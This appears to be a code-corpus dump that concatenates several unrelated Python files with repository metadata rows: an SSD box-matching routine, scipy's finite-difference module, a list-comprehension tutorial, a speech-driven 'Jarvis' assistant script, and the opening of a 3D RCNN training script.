neg_ind = torch.logical_not(pos_ind)
matched_targets[b, neg_ind, 4:] = 0
matched_targets[b, neg_ind, -1] = 1
return pos_indicator, matched_targets
def matching_strategy_quads(targets, dboxes, **kwargs):
"""
:param targets: Tensor, shape is (batch*object num(batch), 4=(cx,cy,w,h)+8=(x1,y1,x2,y2,...)+class_labels)
:param dboxes: shape is (default boxes num, 4)
IMPORTANT: Note that means (cx, cy, w, h)
:param kwargs:
threshold: (Optional) float, threshold for returned indicator
batch_num: (Required) int, batch size
:return:
pos_indicator: Bool Tensor, shape = (batch, default box num). this represents whether each default box is object or background.
matched_targets: Tensor, shape = (batch, default box num, 4+class_num) including background
"""
threshold = kwargs.pop('threshold', 0.5)
batch_num = kwargs.pop('batch_num')
device = dboxes.device
dboxes_num = dboxes.shape[0]
# minus 'box number per image' and 'localization=(cx, cy, w, h)'
class_num = targets[0].shape[1] - 4 - 8
# convert centered coordinated to minmax coordinates
dboxes_mm = centroids2corners(dboxes)
# create returned empty Tensor
pos_indicator, matched_targets = torch.empty((batch_num, dboxes_num), device=device, dtype=torch.bool), torch.empty(
(batch_num, dboxes_num, 4 + 8 + class_num), device=device)
# matching for each batch
index = 0
for b, target in enumerate(targets):
targets_loc, targets_quad, targets_conf = target[:, :4], target[:, 4:12], target[:, 12:]
# overlaps' shape = (object num, default box num)
overlaps = iou(centroids2corners(targets_loc), dboxes_mm.clone())
"""
best_overlap_per_object, best_dbox_ind_per_object = overlaps.max(dim=1)
best_overlap_per_dbox, best_object_ind_per_dbox = overlaps.max(dim=0)
for object_ind, dbox_ind in enumerate(best_dbox_ind_per_object):
best_object_ind_per_dbox[dbox_ind] = object_ind
best_overlap_per_dbox.index_fill_(0, best_dbox_ind_per_object, 999)
pos_ind = best_overlap_per_dbox > threshold
pos_indicator[b] = pos_ind
gt_loc[b], gt_conf[b] = targets[best_object_ind_per_dbox], targets_conf[best_object_ind_per_dbox]
neg_ind = torch.logical_not(pos_ind)
gt_conf[b, neg_ind] = 0
gt_conf[b, neg_ind, -1] = 1
"""
# get maximum overlap value for each default box
# shape = (batch num, dboxes num)
overlaps_per_dbox, object_indices = overlaps.max(dim=0)
# object_indices = object_indices.long() # for fancy indexing
# get maximum overlap values for each object
# shape = (batch num, object num)
overlaps_per_object, dbox_indices = overlaps.max(dim=1)
for obj_ind, dbox_ind in enumerate(dbox_indices):
object_indices[dbox_ind] = obj_ind
overlaps_per_dbox.index_fill_(0, dbox_indices, threshold + 1) # ensure N!=0
pos_ind = overlaps_per_dbox > threshold
# assign targets
matched_targets[b, :, :4], matched_targets[b, :, 4:12], matched_targets[b, :, 12:] = \
targets_loc[object_indices], targets_quad[object_indices], targets_conf[object_indices]
pos_indicator[b] = pos_ind
# set background flag
neg_ind = torch.logical_not(pos_ind)
matched_targets[b, neg_ind, 12:] = 0
matched_targets[b, neg_ind, -1] = 1
return pos_indicator, matched_targets
| 41.45625 | 174 | 0.673903 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3,577 | 0.539273 |
7c138f84c229bf0a17e877706fc36f489907d8bf | 23,732 | py | Python | scipy/optimize/_numdiff.py | jeremiedbb/scipy | 2bea64c334b18fd445a7945b350d7ace2dc22913 | [
"BSD-3-Clause"
] | 1 | 2019-12-19T16:51:27.000Z | 2019-12-19T16:51:27.000Z | scipy/optimize/_numdiff.py | jeremiedbb/scipy | 2bea64c334b18fd445a7945b350d7ace2dc22913 | [
"BSD-3-Clause"
] | null | null | null | scipy/optimize/_numdiff.py | jeremiedbb/scipy | 2bea64c334b18fd445a7945b350d7ace2dc22913 | [
"BSD-3-Clause"
] | null | null | null | """Routines for numerical differentiation."""
from __future__ import division
import numpy as np
from numpy.linalg import norm
from scipy.sparse.linalg import LinearOperator
from ..sparse import issparse, csc_matrix, csr_matrix, coo_matrix, find
from ._group_columns import group_dense, group_sparse
EPS = np.finfo(np.float64).eps
def _adjust_scheme_to_bounds(x0, h, num_steps, scheme, lb, ub):
"""Adjust final difference scheme to the presence of bounds.
Parameters
----------
x0 : ndarray, shape (n,)
Point at which we wish to estimate derivative.
h : ndarray, shape (n,)
Desired finite difference steps.
num_steps : int
Number of `h` steps in one direction required to implement finite
difference scheme. For example, 2 means that we need to evaluate
f(x0 + 2 * h) or f(x0 - 2 * h)
scheme : {'1-sided', '2-sided'}
Whether steps in one or both directions are required. In other
words '1-sided' applies to forward and backward schemes, '2-sided'
applies to center schemes.
lb : ndarray, shape (n,)
Lower bounds on independent variables.
ub : ndarray, shape (n,)
Upper bounds on independent variables.
Returns
-------
h_adjusted : ndarray, shape (n,)
Adjusted step sizes. Step size decreases only if a sign flip or
switching to one-sided scheme doesn't allow to take a full step.
use_one_sided : ndarray of bool, shape (n,)
Whether to switch to one-sided scheme. Informative only for
``scheme='2-sided'``.
"""
if scheme == '1-sided':
use_one_sided = np.ones_like(h, dtype=bool)
elif scheme == '2-sided':
h = np.abs(h)
use_one_sided = np.zeros_like(h, dtype=bool)
else:
raise ValueError("`scheme` must be '1-sided' or '2-sided'.")
if np.all((lb == -np.inf) & (ub == np.inf)):
return h, use_one_sided
h_total = h * num_steps
h_adjusted = h.copy()
lower_dist = x0 - lb
upper_dist = ub - x0
if scheme == '1-sided':
x = x0 + h_total
violated = (x < lb) | (x > ub)
fitting = np.abs(h_total) <= np.maximum(lower_dist, upper_dist)
h_adjusted[violated & fitting] *= -1
forward = (upper_dist >= lower_dist) & ~fitting
h_adjusted[forward] = upper_dist[forward] / num_steps
backward = (upper_dist < lower_dist) & ~fitting
h_adjusted[backward] = -lower_dist[backward] / num_steps
elif scheme == '2-sided':
central = (lower_dist >= h_total) & (upper_dist >= h_total)
forward = (upper_dist >= lower_dist) & ~central
h_adjusted[forward] = np.minimum(
h[forward], 0.5 * upper_dist[forward] / num_steps)
use_one_sided[forward] = True
backward = (upper_dist < lower_dist) & ~central
h_adjusted[backward] = -np.minimum(
h[backward], 0.5 * lower_dist[backward] / num_steps)
use_one_sided[backward] = True
min_dist = np.minimum(upper_dist, lower_dist) / num_steps
adjusted_central = (~central & (np.abs(h_adjusted) <= min_dist))
h_adjusted[adjusted_central] = min_dist[adjusted_central]
use_one_sided[adjusted_central] = False
return h_adjusted, use_one_sided
relative_step = {"2-point": EPS**0.5,
"3-point": EPS**(1/3),
"cs": EPS**0.5}
def _compute_absolute_step(rel_step, x0, method):
if rel_step is None:
rel_step = relative_step[method]
sign_x0 = (x0 >= 0).astype(float) * 2 - 1
return rel_step * sign_x0 * np.maximum(1.0, np.abs(x0))
def _prepare_bounds(bounds, x0):
lb, ub = [np.asarray(b, dtype=float) for b in bounds]
if lb.ndim == 0:
lb = np.resize(lb, x0.shape)
if ub.ndim == 0:
ub = np.resize(ub, x0.shape)
return lb, ub
def group_columns(A, order=0):
"""Group columns of a 2-D matrix for sparse finite differencing [1]_.
Two columns are in the same group if in each row at least one of them
has zero. A greedy sequential algorithm is used to construct groups.
Parameters
----------
A : array_like or sparse matrix, shape (m, n)
Matrix of which to group columns.
order : int, iterable of int with shape (n,) or None
Permutation array which defines the order of columns enumeration.
If int or None, a random permutation is used with `order` used as
a random seed. Default is 0, that is use a random permutation but
guarantee repeatability.
Returns
-------
groups : ndarray of int, shape (n,)
Contains values from 0 to n_groups-1, where n_groups is the number
of found groups. Each value ``groups[i]`` is an index of a group to
which ith column assigned. The procedure was helpful only if
n_groups is significantly less than n.
References
----------
.. [1] A. Curtis, M. J. D. Powell, and J. Reid, "On the estimation of
sparse Jacobian matrices", Journal of the Institute of Mathematics
and its Applications, 13 (1974), pp. 117-120.
"""
if issparse(A):
A = csc_matrix(A)
else:
A = np.atleast_2d(A)
A = (A != 0).astype(np.int32)
if A.ndim != 2:
raise ValueError("`A` must be 2-dimensional.")
m, n = A.shape
if order is None or np.isscalar(order):
rng = np.random.RandomState(order)
order = rng.permutation(n)
else:
order = np.asarray(order)
if order.shape != (n,):
raise ValueError("`order` has incorrect shape.")
A = A[:, order]
if issparse(A):
groups = group_sparse(m, n, A.indices, A.indptr)
else:
groups = group_dense(m, n, A)
groups[order] = groups.copy()
return groups
def approx_derivative(fun, x0, method='3-point', rel_step=None, f0=None,
bounds=(-np.inf, np.inf), sparsity=None,
as_linear_operator=False, args=(), kwargs={}):
"""Compute finite difference approximation of the derivatives of a
vector-valued function.
If a function maps from R^n to R^m, its derivatives form m-by-n matrix
called the Jacobian, where an element (i, j) is a partial derivative of
f[i] with respect to x[j].
Parameters
----------
fun : callable
Function of which to estimate the derivatives. The argument x
passed to this function is ndarray of shape (n,) (never a scalar
even if n=1). It must return 1-D array_like of shape (m,) or a scalar.
x0 : array_like of shape (n,) or float
Point at which to estimate the derivatives. Float will be converted
to a 1-D array.
method : {'3-point', '2-point', 'cs'}, optional
Finite difference method to use:
- '2-point' - use the first order accuracy forward or backward
difference.
- '3-point' - use central difference in interior points and the
second order accuracy forward or backward difference
near the boundary.
- 'cs' - use a complex-step finite difference scheme. This assumes
that the user function is real-valued and can be
analytically continued to the complex plane. Otherwise,
produces bogus results.
rel_step : None or array_like, optional
Relative step size to use. The absolute step size is computed as
``h = rel_step * sign(x0) * max(1, abs(x0))``, possibly adjusted to
fit into the bounds. For ``method='3-point'`` the sign of `h` is
ignored. If None (default) then step is selected automatically,
see Notes.
f0 : None or array_like, optional
If not None it is assumed to be equal to ``fun(x0)``, in this case
the ``fun(x0)`` is not called. Default is None.
bounds : tuple of array_like, optional
Lower and upper bounds on independent variables. Defaults to no bounds.
Each bound must match the size of `x0` or be a scalar, in the latter
case the bound will be the same for all variables. Use it to limit the
range of function evaluation. Bounds checking is not implemented
when `as_linear_operator` is True.
sparsity : {None, array_like, sparse matrix, 2-tuple}, optional
Defines a sparsity structure of the Jacobian matrix. If the Jacobian
matrix is known to have only few non-zero elements in each row, then
it's possible to estimate its several columns by a single function
evaluation [3]_. To perform such economic computations two ingredients
are required:
* structure : array_like or sparse matrix of shape (m, n). A zero
element means that a corresponding element of the Jacobian
identically equals to zero.
* groups : array_like of shape (n,). A column grouping for a given
sparsity structure, use `group_columns` to obtain it.
A single array or a sparse matrix is interpreted as a sparsity
structure, and groups are computed inside the function. A tuple is
interpreted as (structure, groups). If None (default), a standard
dense differencing will be used.
Note, that sparse differencing makes sense only for large Jacobian
matrices where each row contains few non-zero elements.
as_linear_operator : bool, optional
When True the function returns an `scipy.sparse.linalg.LinearOperator`.
Otherwise it returns a dense array or a sparse matrix depending on
`sparsity`. The linear operator provides an efficient way of computing
``J.dot(p)`` for any vector ``p`` of shape (n,), but does not allow
direct access to individual elements of the matrix. By default
`as_linear_operator` is False.
args, kwargs : tuple and dict, optional
Additional arguments passed to `fun`. Both empty by default.
The calling signature is ``fun(x, *args, **kwargs)``.
Returns
-------
J : {ndarray, sparse matrix, LinearOperator}
Finite difference approximation of the Jacobian matrix.
If `as_linear_operator` is True returns a LinearOperator
with shape (m, n). Otherwise it returns a dense array or sparse
matrix depending on how `sparsity` is defined. If `sparsity`
is None then a ndarray with shape (m, n) is returned. If
`sparsity` is not None returns a csr_matrix with shape (m, n).
For sparse matrices and linear operators it is always returned as
a 2-D structure, for ndarrays, if m=1 it is returned
as a 1-D gradient array with shape (n,).
See Also
--------
check_derivative : Check correctness of a function computing derivatives.
Notes
-----
If `rel_step` is not provided, it assigned to ``EPS**(1/s)``, where EPS is
machine epsilon for float64 numbers, s=2 for '2-point' method and s=3 for
'3-point' method. Such relative step approximately minimizes a sum of
truncation and round-off errors, see [1]_.
A finite difference scheme for '3-point' method is selected automatically.
The well-known central difference scheme is used for points sufficiently
far from the boundary, and 3-point forward or backward scheme is used for
points near the boundary. Both schemes have the second-order accuracy in
terms of Taylor expansion. Refer to [2]_ for the formulas of 3-point
forward and backward difference schemes.
For dense differencing when m=1 Jacobian is returned with a shape (n,),
on the other hand when n=1 Jacobian is returned with a shape (m, 1).
Our motivation is the following: a) It handles a case of gradient
computation (m=1) in a conventional way. b) It clearly separates these two
different cases. b) In all cases np.atleast_2d can be called to get 2-D
Jacobian with correct dimensions.
References
----------
.. [1] W. H. Press et. al. "Numerical Recipes. The Art of Scientific
Computing. 3rd edition", sec. 5.7.
.. [2] A. Curtis, M. J. D. Powell, and J. Reid, "On the estimation of
sparse Jacobian matrices", Journal of the Institute of Mathematics
and its Applications, 13 (1974), pp. 117-120.
.. [3] B. Fornberg, "Generation of Finite Difference Formulas on
Arbitrarily Spaced Grids", Mathematics of Computation 51, 1988.
Examples
--------
>>> import numpy as np
>>> from scipy.optimize import approx_derivative
>>>
>>> def f(x, c1, c2):
... return np.array([x[0] * np.sin(c1 * x[1]),
... x[0] * np.cos(c2 * x[1])])
...
>>> x0 = np.array([1.0, 0.5 * np.pi])
>>> approx_derivative(f, x0, args=(1, 2))
array([[ 1., 0.],
[-1., 0.]])
Bounds can be used to limit the region of function evaluation.
In the example below we compute left and right derivative at point 1.0.
>>> def g(x):
... return x**2 if x >= 1 else x
...
>>> x0 = 1.0
>>> approx_derivative(g, x0, bounds=(-np.inf, 1.0))
array([ 1.])
>>> approx_derivative(g, x0, bounds=(1.0, np.inf))
array([ 2.])
"""
if method not in ['2-point', '3-point', 'cs']:
raise ValueError("Unknown method '%s'. " % method)
x0 = np.atleast_1d(x0)
if x0.ndim > 1:
raise ValueError("`x0` must have at most 1 dimension.")
lb, ub = _prepare_bounds(bounds, x0)
if lb.shape != x0.shape or ub.shape != x0.shape:
raise ValueError("Inconsistent shapes between bounds and `x0`.")
if as_linear_operator and not (np.all(np.isinf(lb))
and np.all(np.isinf(ub))):
raise ValueError("Bounds not supported when "
"`as_linear_operator` is True.")
def fun_wrapped(x):
f = np.atleast_1d(fun(x, *args, **kwargs))
if f.ndim > 1:
raise RuntimeError("`fun` return value has "
"more than 1 dimension.")
return f
if f0 is None:
f0 = fun_wrapped(x0)
else:
f0 = np.atleast_1d(f0)
if f0.ndim > 1:
raise ValueError("`f0` passed has more than 1 dimension.")
if np.any((x0 < lb) | (x0 > ub)):
raise ValueError("`x0` violates bound constraints.")
if as_linear_operator:
if rel_step is None:
rel_step = relative_step[method]
return _linear_operator_difference(fun_wrapped, x0,
f0, rel_step, method)
else:
h = _compute_absolute_step(rel_step, x0, method)
if method == '2-point':
h, use_one_sided = _adjust_scheme_to_bounds(
x0, h, 1, '1-sided', lb, ub)
elif method == '3-point':
h, use_one_sided = _adjust_scheme_to_bounds(
x0, h, 1, '2-sided', lb, ub)
elif method == 'cs':
use_one_sided = False
if sparsity is None:
return _dense_difference(fun_wrapped, x0, f0, h,
use_one_sided, method)
else:
if not issparse(sparsity) and len(sparsity) == 2:
structure, groups = sparsity
else:
structure = sparsity
groups = group_columns(sparsity)
if issparse(structure):
structure = csc_matrix(structure)
else:
structure = np.atleast_2d(structure)
groups = np.atleast_1d(groups)
return _sparse_difference(fun_wrapped, x0, f0, h,
use_one_sided, structure,
groups, method)
def _linear_operator_difference(fun, x0, f0, h, method):
m = f0.size
n = x0.size
if method == '2-point':
def matvec(p):
if np.array_equal(p, np.zeros_like(p)):
return np.zeros(m)
dx = h / norm(p)
x = x0 + dx*p
df = fun(x) - f0
return df / dx
elif method == '3-point':
def matvec(p):
if np.array_equal(p, np.zeros_like(p)):
return np.zeros(m)
dx = 2*h / norm(p)
x1 = x0 - (dx/2)*p
x2 = x0 + (dx/2)*p
f1 = fun(x1)
f2 = fun(x2)
df = f2 - f1
return df / dx
elif method == 'cs':
def matvec(p):
if np.array_equal(p, np.zeros_like(p)):
return np.zeros(m)
dx = h / norm(p)
x = x0 + dx*p*1.j
f1 = fun(x)
df = f1.imag
return df / dx
else:
raise RuntimeError("Never be here.")
return LinearOperator((m, n), matvec)
def _dense_difference(fun, x0, f0, h, use_one_sided, method):
m = f0.size
n = x0.size
J_transposed = np.empty((n, m))
h_vecs = np.diag(h)
for i in range(h.size):
if method == '2-point':
x = x0 + h_vecs[i]
dx = x[i] - x0[i] # Recompute dx as exactly representable number.
df = fun(x) - f0
elif method == '3-point' and use_one_sided[i]:
x1 = x0 + h_vecs[i]
x2 = x0 + 2 * h_vecs[i]
dx = x2[i] - x0[i]
f1 = fun(x1)
f2 = fun(x2)
df = -3.0 * f0 + 4 * f1 - f2
elif method == '3-point' and not use_one_sided[i]:
x1 = x0 - h_vecs[i]
x2 = x0 + h_vecs[i]
dx = x2[i] - x1[i]
f1 = fun(x1)
f2 = fun(x2)
df = f2 - f1
elif method == 'cs':
f1 = fun(x0 + h_vecs[i]*1.j)
df = f1.imag
dx = h_vecs[i, i]
else:
raise RuntimeError("Never be here.")
J_transposed[i] = df / dx
if m == 1:
J_transposed = np.ravel(J_transposed)
return J_transposed.T
def _sparse_difference(fun, x0, f0, h, use_one_sided,
structure, groups, method):
m = f0.size
n = x0.size
row_indices = []
col_indices = []
fractions = []
n_groups = np.max(groups) + 1
for group in range(n_groups):
# Perturb variables which are in the same group simultaneously.
e = np.equal(group, groups)
h_vec = h * e
if method == '2-point':
x = x0 + h_vec
dx = x - x0
df = fun(x) - f0
# The result is written to columns which correspond to perturbed
# variables.
cols, = np.nonzero(e)
# Find all non-zero elements in selected columns of Jacobian.
i, j, _ = find(structure[:, cols])
# Restore column indices in the full array.
j = cols[j]
elif method == '3-point':
# Here we do conceptually the same but separate one-sided
# and two-sided schemes.
x1 = x0.copy()
x2 = x0.copy()
mask_1 = use_one_sided & e
x1[mask_1] += h_vec[mask_1]
x2[mask_1] += 2 * h_vec[mask_1]
mask_2 = ~use_one_sided & e
x1[mask_2] -= h_vec[mask_2]
x2[mask_2] += h_vec[mask_2]
dx = np.zeros(n)
dx[mask_1] = x2[mask_1] - x0[mask_1]
dx[mask_2] = x2[mask_2] - x1[mask_2]
f1 = fun(x1)
f2 = fun(x2)
cols, = np.nonzero(e)
i, j, _ = find(structure[:, cols])
j = cols[j]
mask = use_one_sided[j]
df = np.empty(m)
rows = i[mask]
df[rows] = -3 * f0[rows] + 4 * f1[rows] - f2[rows]
rows = i[~mask]
df[rows] = f2[rows] - f1[rows]
elif method == 'cs':
f1 = fun(x0 + h_vec*1.j)
df = f1.imag
dx = h_vec
cols, = np.nonzero(e)
i, j, _ = find(structure[:, cols])
j = cols[j]
else:
raise ValueError("Never be here.")
# All that's left is to compute the fraction. We store i, j and
# fractions as separate arrays and later construct coo_matrix.
row_indices.append(i)
col_indices.append(j)
fractions.append(df[i] / dx[j])
row_indices = np.hstack(row_indices)
col_indices = np.hstack(col_indices)
fractions = np.hstack(fractions)
J = coo_matrix((fractions, (row_indices, col_indices)), shape=(m, n))
return csr_matrix(J)
def check_derivative(fun, jac, x0, bounds=(-np.inf, np.inf), args=(),
kwargs={}):
"""Check correctness of a function computing derivatives (Jacobian or
gradient) by comparison with a finite difference approximation.
Parameters
----------
fun : callable
Function of which to estimate the derivatives. The argument x
passed to this function is ndarray of shape (n,) (never a scalar
even if n=1). It must return 1-D array_like of shape (m,) or a scalar.
jac : callable
Function which computes Jacobian matrix of `fun`. It must work with
argument x the same way as `fun`. The return value must be array_like
or sparse matrix with an appropriate shape.
x0 : array_like of shape (n,) or float
Point at which to estimate the derivatives. Float will be converted
to 1-D array.
bounds : 2-tuple of array_like, optional
Lower and upper bounds on independent variables. Defaults to no bounds.
Each bound must match the size of `x0` or be a scalar, in the latter
case the bound will be the same for all variables. Use it to limit the
range of function evaluation.
args, kwargs : tuple and dict, optional
Additional arguments passed to `fun` and `jac`. Both empty by default.
The calling signature is ``fun(x, *args, **kwargs)`` and the same
for `jac`.
Returns
-------
accuracy : float
The maximum among all relative errors for elements with absolute values
higher than 1 and absolute errors for elements with absolute values
less or equal than 1. If `accuracy` is on the order of 1e-6 or lower,
then it is likely that your `jac` implementation is correct.
See Also
--------
approx_derivative : Compute finite difference approximation of derivative.
Examples
--------
>>> import numpy as np
>>> from scipy.optimize import check_derivative
>>>
>>>
>>> def f(x, c1, c2):
... return np.array([x[0] * np.sin(c1 * x[1]),
... x[0] * np.cos(c2 * x[1])])
...
>>> def jac(x, c1, c2):
... return np.array([
... [np.sin(c1 * x[1]), c1 * x[0] * np.cos(c1 * x[1])],
... [np.cos(c2 * x[1]), -c2 * x[0] * np.sin(c2 * x[1])]
... ])
...
>>>
>>> x0 = np.array([1.0, 0.5 * np.pi])
>>> check_derivative(f, jac, x0, args=(1, 2))
2.4492935982947064e-16
"""
J_to_test = jac(x0, *args, **kwargs)
if issparse(J_to_test):
J_diff = approx_derivative(fun, x0, bounds=bounds, sparsity=J_to_test,
args=args, kwargs=kwargs)
J_to_test = csr_matrix(J_to_test)
abs_err = J_to_test - J_diff
i, j, abs_err_data = find(abs_err)
J_diff_data = np.asarray(J_diff[i, j]).ravel()
return np.max(np.abs(abs_err_data) /
np.maximum(1, np.abs(J_diff_data)))
else:
J_diff = approx_derivative(fun, x0, bounds=bounds,
args=args, kwargs=kwargs)
abs_err = np.abs(J_to_test - J_diff)
return np.max(abs_err / np.maximum(1, np.abs(J_diff)))
| 37.08125 | 79 | 0.583727 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 13,219 | 0.557012 |
7c170adc77db7c06c4c5968ae2d5e3df343748b4 | 776 | py | Python | python97/chapter05/list_gen.py | youaresherlock/PythonPractice | 2e22d3fdcb26353cb0d8215c150e84d11bc9a022 | [
"Apache-2.0"
] | null | null | null | python97/chapter05/list_gen.py | youaresherlock/PythonPractice | 2e22d3fdcb26353cb0d8215c150e84d11bc9a022 | [
"Apache-2.0"
] | null | null | null | python97/chapter05/list_gen.py | youaresherlock/PythonPractice | 2e22d3fdcb26353cb0d8215c150e84d11bc9a022 | [
"Apache-2.0"
] | 1 | 2019-11-05T01:10:15.000Z | 2019-11-05T01:10:15.000Z | #!usr/bin/python
# -*- coding:utf8 -*-
# ๅ่กจ็ๆๅผ(ๅ่กจๆจๅฏผๅผ)
# 1. ๆๅๅบ1-20ไน้ด็ๅฅๆฐ
# odd_list = []
# for i in range(21):
# if i % 2 == 1:
# odd_list.append(i)
# odd_list = [i for i in range(21) if i % 2 == 1]
# print(odd_list)
# 2. ้ป่พๅคๆ็ๆ
ๅต ๅฆๆๆฏๅฅๆฐๅฐ็ปๆๅนณๆน
# ๅ่กจ็ๆๅผๆง่ฝ้ซไบๅ่กจๆไฝ
def handle_item(item):
return item * item
odd_list = [handle_item(i) for i in range(21) if i % 2 == 1]
print(odd_list)
# ็ๆๅจ่กจ่พพๅผ
odd_gen = (i for i in range(21) if i % 2 == 1)
print(type(odd_gen))
for item in odd_gen:
print(item)
# ๅญๅ
ธๆจๅฏผๅผ
my_dict = {"bobby1": 22, "bobby2": 23, "imooc.com": 5}
reversed_dict = {value:key for key, value in my_dict.items()}
print(reversed_dict)
# ้ๅๆจๅฏผๅผ
my_set = set(my_dict.keys())
my_set = {key for key, value in my_dict.items()}
print(type(my_set))
| 15.836735 | 61 | 0.627577 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 433 | 0.478982 |
7c1ed9a736672c0c84e29905bebe37cc7b644280 | 2,949 | py | Python | Jarvis.py | vijayeshmt/Securitylock | 5877663a170a22ab8b5931dcef07c74f149cf9b8 | [
"CC0-1.0"
] | 1 | 2021-05-27T09:05:00.000Z | 2021-05-27T09:05:00.000Z | Jarvis.py | vijayeshmt/Securitylock | 5877663a170a22ab8b5931dcef07c74f149cf9b8 | [
"CC0-1.0"
] | null | null | null | Jarvis.py | vijayeshmt/Securitylock | 5877663a170a22ab8b5931dcef07c74f149cf9b8 | [
"CC0-1.0"
] | null | null | null | import pyttsx3
import datetime
import speech_recognition as sr
import wikipedia
import webbrowser
import os
import smtplib
engine = pyttsx3.init('sapi5')
voices = engine.getProperty('voices')
engine.setProperty('voice', voices[0].id)
# To change the voice to female change 0 to 1.
def speak(audio):
engine.say(audio)
engine.runAndWait()
pass
def take_command():
"""
It takes microphone input from the user and returns a string
:return:
"""
r = sr.Recognizer()
with sr.Microphone() as source:
print("Listening...")
r.pause_threshold = 1.5 # It will wait 1.5 seconds to complete a sentence
audio = r.listen(source)
#Do read details
try:
print("Recognizing")
query = r.recognize_google(audio,language='en-in')
print(f'user said : {query}\n')
except Exception as e:
#print(e)
print("Say that again please")
return "None"
return query
def sendEmail(to,content):
server =smtplib.SMTP('smtp.gmail.com',28)
# server.connect("smtp.gmail.com",465)
# server.ehlo()
server.login('jayeshvijayesh@gmail.com','########')
server.sendmail('jayeshvijayesh@gmail.com',to,content)
server.close()
def wish_me():
hour = int(datetime.datetime.now().hour)
if hour >= 0 and hour < 12:
speak("Good morning")
elif hour >= 12 and hour < 18:
speak("Good afternoon")
else:
speak("Good night")
speak("I am JARVIS how can i help you")
if __name__ == '__main__':
wish_me()
while True:
query =take_command().lower()
if 'wikipedia' in query:
speak("Searching wikipedia")
query = query.replace('wikipedia','')
results = wikipedia.summary(query,sentences=2)#To read more increase sentence to decrease sentence decreease sentence
speak("According to wikipedia")
#print(results)
speak(results)
elif 'open youtube' in query:
# webbrowser.Chrome.open_new("youtube.com")
webbrowser.open("youtube.com")
elif "open google" in query:
webbrowser.open("google.com")
elif "play music" in query:
music_dir = "D:\\vijayesh\\music"
songs = os.listdir(music_dir)
print(songs)
os.startfile(os.path.join(music_dir,songs[1]))
elif "the time" in query:
strtime = datetime.datetime.now().strftime("%H:%M:%S")
speak(f"The time is {strtime}")
elif " open pycharm" in query:
pycharmpath ="C:\\Program Files\\JetBrains\\PyCharm Community Edition 2021"
os.startfile(pycharmpath)
#elif "open command" in query:
# filelocation = "path of the particular file like above"
# os.startfile(filelocation)
elif " email to vijayesh" or "email to vijesh" in query:
try:
speak("What should i say")#error present
content = take_command()
to = "jayeshvijayesh@gmail.com"
sendEmail(to,content)
speak("Email has been sent")
exit()
except Exception as e:
print(e)
speak("Sorry,I am not able to send this email")
exit()
| 26.097345 | 121 | 0.664632 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,220 | 0.4137 |
7c20c3110a71ede08c1358d9822f7b43bb07338f | 4,903 | py | Python | 3D/Train_Module_3D.py | geometatqueens/RCNN | 2e1e67264969f05a2f554595577dfb1025938245 | [
"Unlicense"
] | 1 | 2020-04-30T21:31:59.000Z | 2020-04-30T21:31:59.000Z | 3D/Train_Module_3D.py | geometatqueens/RCNN | 2e1e67264969f05a2f554595577dfb1025938245 | [
"Unlicense"
] | null | null | null | 3D/Train_Module_3D.py | geometatqueens/RCNN | 2e1e67264969f05a2f554595577dfb1025938245 | [
"Unlicense"
] | null | null | null | """The present code is the Version 1.0 of the RCNN approach to perform MPS
in 3D for categorical variables. It has been developed by S. Avalos and J. Ortiz in the
Geometallurygical Group at Queen's University as part of a PhD program.
The code is not free of bugs but running end-to-end.
Any comments and further improvements are well recevied to: 17saa6@queensu.ca
April 16, 2019.
Geomet Group - Queen's University - Canada"""
# Do not display the AVX message about using GPU
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
#from tensorflow.python.client import device_lib
#print(device_lib.list_local_devices())
#os.environ["CUDA_DEVICE_ORDER"]="PCI_BUS_ID" # see issue #152
#os.environ["CUDA_VISIBLE_DEVICES"]="0"
## #########################
import numpy as np
import tensorflow as tf
import time
import External_Functions_3D as fns_nested
import gc
for ind0 in range(1):
start_time_AllTrain = time.time()
HyperPar = []
HyperPar.append(50) # SGsizex - Num 0
HyperPar.append(50) # SGsizey - Num 1
HyperPar.append(50) # SGsizez - Num 2
HyperPar.append(int(7)) # Search_x - Num 3
HyperPar.append(int(7)) # Search_y - Num 4
HyperPar.append(int(7)) # Search_z - Num 5
HyperPar.append(int(7)) # IPsizex - Num 6
HyperPar.append(int(7)) # IPsizey - Num 7
HyperPar.append(int(7)) # IPsizez - Num 8
HyperPar.append(50) # Percentage of Data Conditioning - Num 9 .. divided by 3 so 1% is 10 represents 1%
HyperPar.append(1) # MinDC - Num 10
HyperPar.append(1500) # Num Fully Connected - Num 11
HyperPar.append(3) # wdnh - Num 12
HyperPar.append(16) # convdepth - Num 13
HyperPar.append(2) # num of categories - Num 14
print("SG: ", int(HyperPar[3]),"x",int(HyperPar[4]),"x",int(HyperPar[5]), "IP: ", int(HyperPar[6]),"x",int(HyperPar[7]),"x",int(HyperPar[8]))
Ncicles = 500
Nepoch = 1
#Nbatch = 250
Nsamples = 512
TrainingImage = "TI_Collaboration_1of4_50x50x50_newRepresentation.dat"
LocModel = 'Models/3D_NewRepresentation/Allperc/%sx%sx%s_%sx%sx%s_4ConvNets_4HL_BN_3FC%s_ws%sx%sx%s_%sconvdepth/FeatMaps'%(int(HyperPar[3]),int(HyperPar[4]),int(HyperPar[5]), int(HyperPar[6]),int(HyperPar[7]),int(HyperPar[8]), int(HyperPar[11]), int(HyperPar[12]),int(HyperPar[12]),int(HyperPar[12]), int(HyperPar[13]))
#LocModel = 'Models/3D_NewRepresentation/New%sperc/%sx%sx%s_%sx%sx%s_4ConvNets_4HL_BN_3FC%s_ws%sx%sx%s_%sconvdepth/FeatMaps'%(int(HyperPar[9]), int(HyperPar[3]),int(HyperPar[4]),int(HyperPar[5]), int(HyperPar[6]),int(HyperPar[7]),int(HyperPar[8]), int(HyperPar[11]), int(HyperPar[12]),int(HyperPar[12]),int(HyperPar[12]), int(HyperPar[13]))
LocFile = 'Models/3D_NewRepresentation/Allperc/%sx%sx%s_%sx%sx%s_4ConvNets_4HL_BN_3FC%s_ws%sx%sx%s_%sconvdepth'%(int(HyperPar[3]),int(HyperPar[4]),int(HyperPar[5]), int(HyperPar[6]),int(HyperPar[7]),int(HyperPar[8]), int(HyperPar[11]), int(HyperPar[12]),int(HyperPar[12]),int(HyperPar[12]), int(HyperPar[13]))
